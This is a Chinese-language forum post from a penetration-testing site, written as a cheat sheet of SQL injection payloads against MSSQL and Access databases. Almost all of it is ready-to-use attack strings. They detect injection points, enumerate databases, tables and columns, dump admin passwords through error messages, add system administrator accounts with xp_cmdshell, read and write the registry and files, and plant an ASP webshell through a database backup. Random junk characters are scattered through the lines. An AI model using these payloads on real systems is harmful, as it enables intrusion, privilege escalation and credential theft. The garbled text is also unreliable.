中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
( h( v5 o/ H6 P8 z8 \;and 1=1
/ u  b8 I6 {0 h;and 1=2
) E9 W0 G: N! m$ m; v. d9 h0 q- y; U1 R8 s
2.初步判断是否是mssql
" A" W8 [: b& O! S;and user>0 5 _$ Q1 L  A4 X$ t
" X5 S& \9 r1 \) G" T8 h9 m3 i
3.判断数据库系统 , Q7 _* l: t" y1 T2 R
;and (select count(*) from sysobjects)>0 mssql
( ]& v: n! o0 T- N! ~;and (select count(*) from msysobjects)>0 access ' a6 W- F5 Z7 ~' ^$ e
9 j* c$ U/ p  G* I5 b' C) i
4.注入参数是字符
' N  K2 z* [( G'and [查询条件] and ''='
; K, o5 B$ C. [" T3 X/ U/ m0 |7 M) Y4 F5 b7 v
5.搜索时没过滤参数的
& H: E* T* H6 t4 q7 L0 P, x' }'and [查询条件] and '%25'=' ! n3 ^6 C. a* U2 e

# ?- E/ J% _8 y/ k1 c4 ?7 |8 Y6.猜数表名
1 {  j7 V+ `& U+ p2 o' l0 i" H;and (select Count(*) from [表名])>0
1 ^/ v9 G+ h" [5 D* p2 L! r, S; s- I9 a$ U# Z
7.猜字段
+ m) A5 F* f" D8 \5 s;and (select Count(字段名) from 表名)>0
+ x/ ?4 p3 a3 D* A! b0 I. d  H1 i7 e0 r4 S% ~9 _$ I3 v* N' r
8.猜字段中记录长度 6 n3 U- s$ V% ~. x+ J
;and (select top 1 len(字段名) from 表名)>0 & d# I5 R1 @; }: F2 a# R% X6 |( Q; P, w. H
& ~( T- G6 d! {( Z; W) P
9.(1)猜字段的ascii值(access) . K5 l9 ~; x; e8 U
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
8 W* p! {, y  e& I% A# y0 e' K
9 Q+ l$ M* H1 a; r" x(2)猜字段的ascii值(mssql)
. M# @' ?, C8 |4 [* g2 X;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
! v" l, J. I3 W" h1 i
2 v- ~' r+ ~" Z. B6 b) ^% @10.测试权限结构(mssql)
7 t! M8 k) D% j. R! p% j* ^3 o  G;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 D) B  {8 E% R; b;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 J% Z1 z+ N# G, T; n( w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- - j& _6 k5 o  {6 H6 Y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ ?' e% I8 {0 ~% x8 c. {;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 F; r0 H9 P% w* g. };and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: o6 k* R& f, l;and 1=(select IS_MEMBER('db_owner'));-- $ G4 F+ @: r/ i* ?1 |. \

* B% ?# ?5 a4 u6 U11.添加mssql和系统的帐户 8 O7 w* z' W- U! k1 V2 A
;exec master.dbo.sp_addlogin username;-- , M( o& \0 n7 C. _5 t) `3 P
;exec master.dbo.sp_password null,username,password;--
. J* K, |4 ~7 H) S1 m;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% x& N7 I: l4 L;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
9 ^( V% ~+ q0 C& Q+ l;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9 [/ y4 I( i- [3 _5 F% Q" l
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
! v- y- J/ E, n' v" O" \* Y( @* K5 G, U
12.(1)遍历目录
) n7 Z  r$ k+ u1 _$ I" ]. z;create table dirs(paths varchar(100), id int) 6 _; n( W+ K; ~" ?% y! j6 P
;insert dirs exec master.dbo.xp_dirtree 'c:\'
5 j& C; s- ?. Y& q! W;and (select top 1 paths from dirs)>0
4 @  c" Z8 _  p. ^  q8 H7 Y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 t1 \' |2 T7 Y- R
+ B$ Y# Z* }! a) G* |) h' M(2)遍历目录
$ z7 j+ E  a: O;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ x9 C8 X8 J: M3 n) y+ ^+ Q;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - @  w: q6 V) I1 w, H( Z( c
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 u, Q8 B6 {, v4 z5 Y3 Q0 p
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
2 M: a) |9 C& L! u6 v: v;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 . ]( Q: B" R" ?. d, W

5 x' H. h2 X" ^$ m6 ^& S# b8 g5 |13.mssql中的存储过程 . Z* k" p2 W) L$ v
xp_regenumvalues 注册表根键, 子键 4 u) Y9 H  x% N+ g) U  I2 S
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
4 A9 B2 h& A5 cxp_regread 根键,子键,键值名
# v2 r* Y( d1 u;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
% Y9 B. R1 M5 V, ]& O& bxp_regwrite 根键,子键, 值名, 值类型, 值
; e1 I1 o$ K- }& i! x$ t值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 }. y; N. F; D) [6 f# a. k) E;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 1 F/ D1 G; r! I8 [) q
xp_regdeletevalue 根键,子键,值名 % [& A" e; g, g4 F' c, U% [" j
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
/ @5 t; _# r( E2 N* Dxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) N2 w: O; V, ]1 {
# V; a- @. @  M4 h1 h14.mssql的backup创建webshell
) ~$ j$ h% ?1 B8 Y, Luse model
9 \: i3 s6 n" P( Xcreate table cmd(str image); 3 r0 |, g7 D& t5 f4 U
insert into cmd(str) values ('<% Dim oScript %>'); " m. r& V6 v) i6 J% E. A* D" u0 q
backup database model to disk='c:\l.asp'; 4 c0 P( ^6 a) J
& S9 ^) B3 z* F8 V; ^
15.mssql内置函数
8 d) H) u8 w; s$ ~7 }" D0 K0 M+ e% `;and (select @@version)>0 获得Windows的版本号
# n/ {; f: m2 G" w;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& @$ l. g  L' b! @;and (select user_name())>0 爆当前系统的连接用户
; I* F$ u1 E# Y1 O1 r+ ~;and (select db_name())>0 得到当前连接的数据库   {0 r8 a) H# W% g& ^. C# t% f

$ U4 J: e2 ]2 J) k: ^; H+ z
2 W: E& N2 _+ _' s* `
6 ~5 a5 d1 E0 B+ `- A9 i! }  WMSSQL手注暴库
7 g* _1 z2 Q5 S9 E0 H- L0 ^5 Z3 ?5 D- f4 t( G: H: j
1.暴出当前表名和列名& W' }2 n3 l9 R# u
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
% A  H# S, }. t4 P, J0 K" o1 S' M1 n
第一.爆出所有数据库名
$ ^: O/ p) V6 x) ?" Q8 w利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。. ^0 @+ j! X# {/ ?4 ]& R
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。2 K: {' y& P- P3 I. F

7 G9 c3 v9 x! f8 s0 Z/ x# C: dand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
2 u+ C; b9 e2 f( u- j
' M8 I0 d7 p# _3 p8 E
# n  {* }" Y0 t9 a, |7 v) W9 }' {第二.爆出指定库中的所有表名
  u' {  T( g' `' p+ V9 S0 F0 ]得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
8 x5 y& n( W* q/ k" R* }再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。% n6 d$ Q- E# U4 N
1 O* W! R  {1 D! o/ {; x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' K  W4 F9 m. k! m: F" d( }0 P
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
9 I1 H0 z. p$ G+ o; F! i( iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
' w( Y7 w, K7 t$ Z( e" i0 E5 I$ A9 {0 u7 q/ p7 k( Y
4.爆出指定表中的所有列名
- i. a; [* s' s) k4 @* |. Band 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) # T' p  ~9 Y3 T- V
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
  k! R3 F1 f$ ~/ s+ ]" X# p
3 E5 K: E- T  ~/ l( s9 aand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
2 ?' N' J: t3 f% V' T) f5 a4 O
3 C# U! ?" L- s7 I再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
- ?9 s* t" d/ w" v6 k, c依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。4 o9 q* Q1 ]. a9 M9 D0 A! Y
* b. C: x; m+ a8 A  |' k
& W$ U3 ?% R8 t4 b7 o
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
( g& _0 M3 A! p* u* V& H( S0 V% ?
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名. b9 D, j) a0 W6 D3 z9 J
6 o0 N) Q! K; ]6 q  d8 d$ p4 z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- % B& h* O2 W$ @' c
+ A# u9 J+ j! C9 _. E3 r
6 z1 l) ~. ^% c+ I0 V) s) M4 l8 s; D
& ?3 A; `( E* y+ J; O3 J
5.读取指定表中的数据
5 _, K1 \/ \! f) T. H4 Q. j8 ?) G' K! m/ g
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 0 U; w$ o9 W" M( [
4 V: E/ t) [2 o; {  b
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--) a9 Q0 n# g6 L, ~" J
6 }- ]9 z* d7 m8 L" R
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
9 K$ Y; B& w4 n( }8 F7 }: }3 ?4 h! r( z7 T- A) s: _! Q
& f" W, j7 i2 B' J* b+ t  N
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao). l2 X" J! K) ~& M: Z  t6 m
; i, ^: T; j) s2 g
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
9 J+ L; s/ z9 B9 i7 D1 E3 l: B6 y& M1 V# A; t' D
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# p5 G: x' ~- K1 s& ]! W6 |% E$ J! {, c& y, ]0 D# e' z# h
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
) `. M1 R& [  b; {5 o2 m* H! T" L' H




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2